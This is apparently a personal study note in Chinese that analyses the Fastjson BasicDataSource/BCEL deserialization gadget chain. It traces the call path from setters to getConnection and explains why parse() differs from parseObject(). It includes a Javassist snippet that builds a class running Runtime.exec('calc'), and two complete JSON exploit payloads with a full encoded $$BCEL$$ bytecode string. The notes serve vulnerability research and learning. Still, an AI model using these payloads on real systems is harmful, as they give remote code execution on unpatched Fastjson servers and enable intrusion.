这基本是直接从本地笔记md复制上来,主要是自己记录,排版很烂,见谅。
Fastjson与BCEL
在Fastjson中通过BCEL字节码执行恶意代码,需要用到org.apache.tomcat.dbcp.dbcp.BasicDataSource这个类。主要原因是,我们需要加载BCEL字节码的话,需要实现下面这一句话:
import com.sun.org.apache.bcel.internal.util.ClassLoader;
...
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
而想要在Fastjson中使用的话,就得在各种fastjson反序列化过程中执行的那些操作中执行到这个操作。而在BasicDataSource中正好有一个能够利用的点。
在544行的地方,方法createConnectionFactory执行了一个getContextClassLoader().loadClass(this.driverClassName)
protected ConnectionFactory createConnectionFactory() throws SQLException {
Class driverFromCCL = null;
String user;
if (this.driverClassName != null) {
try {
try {
if (this.driverClassLoader == null) {
Class.forName(this.driverClassName);
} else {
Class.forName(this.driverClassName, true, this.driverClassLoader);
}
} catch (ClassNotFoundException var6) {
driverFromCCL = Thread.currentThread().getContextClassLoader().loadClass(this.driverClassName);
而这里的getContextClassLoader和driverClassName恰好都是可控的,上次说到的Fastjson在反序列化过程中会调用setter来置值。
我们在类中找到了setContextClassLoader和setdriverClassName。
public synchronized void setDriverClassName(String driverClassName) {
if (driverClassName != null && driverClassName.trim().length() > 0) {
this.driverClassName = driverClassName;
} else {
this.driverClassName = null;
}
this.restartNeeded = true;
}
public synchronized void setDriverClassLoader(ClassLoader driverClassLoader) {
this.driverClassLoader = driverClassLoader;
this.restartNeeded = true;
}
现在,只要找到哪里调用到createConnectionFactory就能成了,接下来就是一条链到达这里。
在方法createDataSource中第510行找到了这个createConnectionFactory的调用。
protected synchronized DataSource createDataSource() throws SQLException {
if (this.closed) {
throw new SQLException("Data source is closed");
} else if (this.dataSource != null) {
return this.dataSource;
} else {
ConnectionFactory driverConnectionFactory = this.createConnectionFactory();
然后又在getConnection找到了createDataSource的调用。
public Connection getConnection() throws SQLException {
return this.createDataSource().getConnection();
}
本来以为到这里就算完了,因为上次有说到parseObject调用了对象所有的getter,那这里肯定就会自动触发了。但完全不行。失败的payload如下:
ClassPool classPool=ClassPool.getDefault();
CtClass ctClass=classPool.makeClass("A");
String code="java.lang.Runtime.getRuntime().exec(\"calc\");";
ctClass.makeClassInitializer().insertAfter(code);
byte[] b=ctClass.toBytecode();
String bcel="$$BCEL$$"+Utility.encode(b,true);
String str = "{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \""+bcel+"\"\n" +
" }";
System.out.println(str);
JSON.parse(str);
完全没有反应。去查,发现parseObject并不像想象中那样调用了所有的getter。
FastJson中的 parse() 和 parseObject()方法都可以用来将JSON字符串反序列化成Java对象,parseObject() 本质上也是调用 parse() 进行反序列化的。但是 parseObject() 会额外的将Java对象转为 JSONObject对象,即 JSON.toJSON()。所以进行反序列化时的细节区别在于,parse() 会识别并调用目标类的 setter 方法及某些特定条件的 getter 方法,而 parseObject() 由于多执行了 JSON.toJSON(obj),所以在处理过程中会调用反序列化目标类的所有 setter 和 getter 方法。 ——引用https://jlkl.github.io/2021/12/18/Java_07上面说的
条件:返回值类型继承自Collection Map AtomicBoolean AtomicInteger AtomicLong的getter方法
很显然的是getConnection 方法是不符合的,返回值类型为Connection 。所以正常来说在 FastJson 反序列化的过程中并不会被调用。——(38条消息) 红队漏洞研究-fastjsonBasicDataSource链分析_Gamma_lab的博客-CSDN博客
按网上的说法,如果把这个JsonObject作为key放在json里面的话。会执行key的toString方法,然后因为JsonObject继承了map,map的toString会取得所有的getter,意思是懂了,但不看看代码总觉得不太。还是自己跟跟吧。
在DefaultJSONParser中识别到Map类型,在分支结构中进入了这个重载的参数类型为Map的parseObject。
跟到了key的toString。
嵌套,跟进。
按执行顺序,new JSONSerializer就不进了,进入到write方法,盲猜是调用setter的地方。
反射取得JsonObject的Class,然后调用了getObjectWriter
嵌套,进去。
好长,不一一看了,在这里过去执行了命令,直接从这里进去看看。
还是进write。这里从值里取出了BasicDataSource。
这里得到了JsonObject所有的getter。
欸嘿,感觉是这里,要成了。
然后在后面的代码中,遍历所有的getter来执行getPropertyValueDirect
这里成员变量method的值是getConnection
跟进去这个函数,这里调用了"connection".get(BasicDataSource),感觉getConnection近在咫尺。
跟进去,发现反射执行了
总算找到调用栈了。到这里就连接上了前面的BasicDataSource中的链,就可以RCE了。
等等,感觉好像漏了一些什么东西。this.getter什么时候传进去的?!
返回write的上一层,这里的上一句取得了这个执行write的对象。
发现这里就是检验getter的地方,得是上面所述getter才可以。
调用了几次不同的seriazlizer来get,在最后一次调用get的时候匹配上了entry.key
反正就是prewriter取出来的时候,this.getters就已经放进了所有的getter。
最后的payload,长这样。
String str="{\n" +
" {\n" +
" \"@type\": \"com.alibaba.fastjson.JSONObject\",\n" +
" \"x\":{\n" +
" \"@type\": \"org.apache.tomcat.dbcp.dbcp.BasicDataSource\",\n" +
" \"driverClassLoader\": {\n" +
" \"@type\": \"com.sun.org.apache.bcel.internal.util.ClassLoader\"\n" +
" },\n" +
" \"driverClassName\": \""+bcel+"\"\n" +
" }\n" +
" }: \"x\"\n" +
"}";
{
{
"@type": "com.alibaba.fastjson.JSONObject",
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Ae$90$cfJ$c3$40$Q$c6$bfi$da$s$c6$d46$d5$fa$ef$s$IM$3d$d8$83$c7$W$a1$I$9e$w$8a$91$f6$bc$5d$97$b05MJ$ba$V$df$c8s$_$w$k$7c$A$lJ$9c$84$82$F$97$9d$fdf$86o$7e$M$fb$fd$f3$f9$F$e0$C$c7$E$g$d8$mBc$w$9eE7$WI$d4$bd$9dL$9546$y$82$h$a6$cbL$aak$j$xBup$9e$9b$IN_$c6$3a$d1$e6$92$60$F$9d$R$a1$7c$95$3e$b2$c1$ffc$dc$_$T$a3g$ca$86$cb$90H$99uMh$F$9d$e1$3f$5b$cf$83$87$9a$8bm$ec0L$8aX$3ahp$a6$5e$94$q$b4$83$8d$89$d0d$3a$89z$9b$90$bb$y$95j$b1$60H$T$bb9d$8fP$L$8d$90O7b$fe$m$s$c5$ee$fdba$P$Hp$5c$94q$88$T$94X$f3S$82$D$9b$83$b0$c5$d5$v$y$ee$A$f5W$fe$80$e1$H$eaM$ff$N$ad$f1$8a$5b$84$7d$7e$z$Q$df$i$b4$9e$f0Y$89$b5r$f6$8e$a3U$81$qT$Kp$f5$X$c4$a1$b9$Rj$B$A$A"
}
}: "x"
}
或者像这样也行,就是键中不指定反序列化JSONObject。
{
{
"x": {
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "$$BCEL$$$l$8b$I$A$A$A$A$A$A$Ae$90$cfJ$c3$40$Q$c6$bfi$da$s$c6$d46$d5$fa$ef$s$IM$3d$d8$83$c7$W$a1$I$9e$w$8a$91$f6$bc$5d$97$b05MJ$ba$V$df$c8s$_$w$k$7c$A$lJ$9c$84$82$F$97$9d$fdf$86o$7e$M$fb$fd$f3$f9$F$e0$C$c7$E$g$d8$mBc$w$9eE7$WI$d4$bd$9dL$9546$y$82$h$a6$cbL$aak$j$xBup$9e$9b$IN_$c6$3a$d1$e6$92$60$F$9d$R$a1$7c$95$3e$b2$c1$ffc$dc$_$T$a3g$ca$86$cb$90H$99uMh$F$9d$e1$3f$5b$cf$83$87$9a$8bm$ec0L$8aX$3ahp$a6$5e$94$q$b4$83$8d$89$d0d$3a$89z$9b$90$bb$y$95j$b1$60H$T$bb9d$8fP$L$8d$90O7b$fe$m$s$c5$ee$fdba$P$Hp$5c$94q$88$T$94X$f3S$82$D$9b$83$b0$c5$d5$v$y$ee$A$f5W$fe$80$e1$H$eaM$ff$N$ad$f1$8a$5b$84$7d$7e$z$Q$df$i$b4$9e$f0Y$89$b5r$f6$8e$a3U$81$qT$Kp$f5$X$c4$a1$b9$Rj$B$A$A"
}
}:"xxx"
}
简单总结一下payload,最外层先是放了一对键值,键是一个JSONObjct,值随意一个字符串什么都行,这个JSONObject整体会作为一个键,值是xxx。接着会调用到key.toString。也就是这个JSONObject的toString。JSONObejct执行toString其实是在invoke函数中。
然后调用了父类JSON中的toString,然后又调用toJSONString
接着就取得了所有JSONObject中的getter。就会调用到JSONObject中的value(BasicDataSource)中的所有getter,也就调用到了getConnection。
最后
这条链前面要调用getConnection的流程实在是太深入了,主要是要得到所有getter,包括getConnection,然后调用,才可以加载字节码执行恶意代码。分析代码太小白了,流程稍微长,稍微深入,脑子就一片混乱了,还是要多分析分析一些利用链,多看看底层代码。
|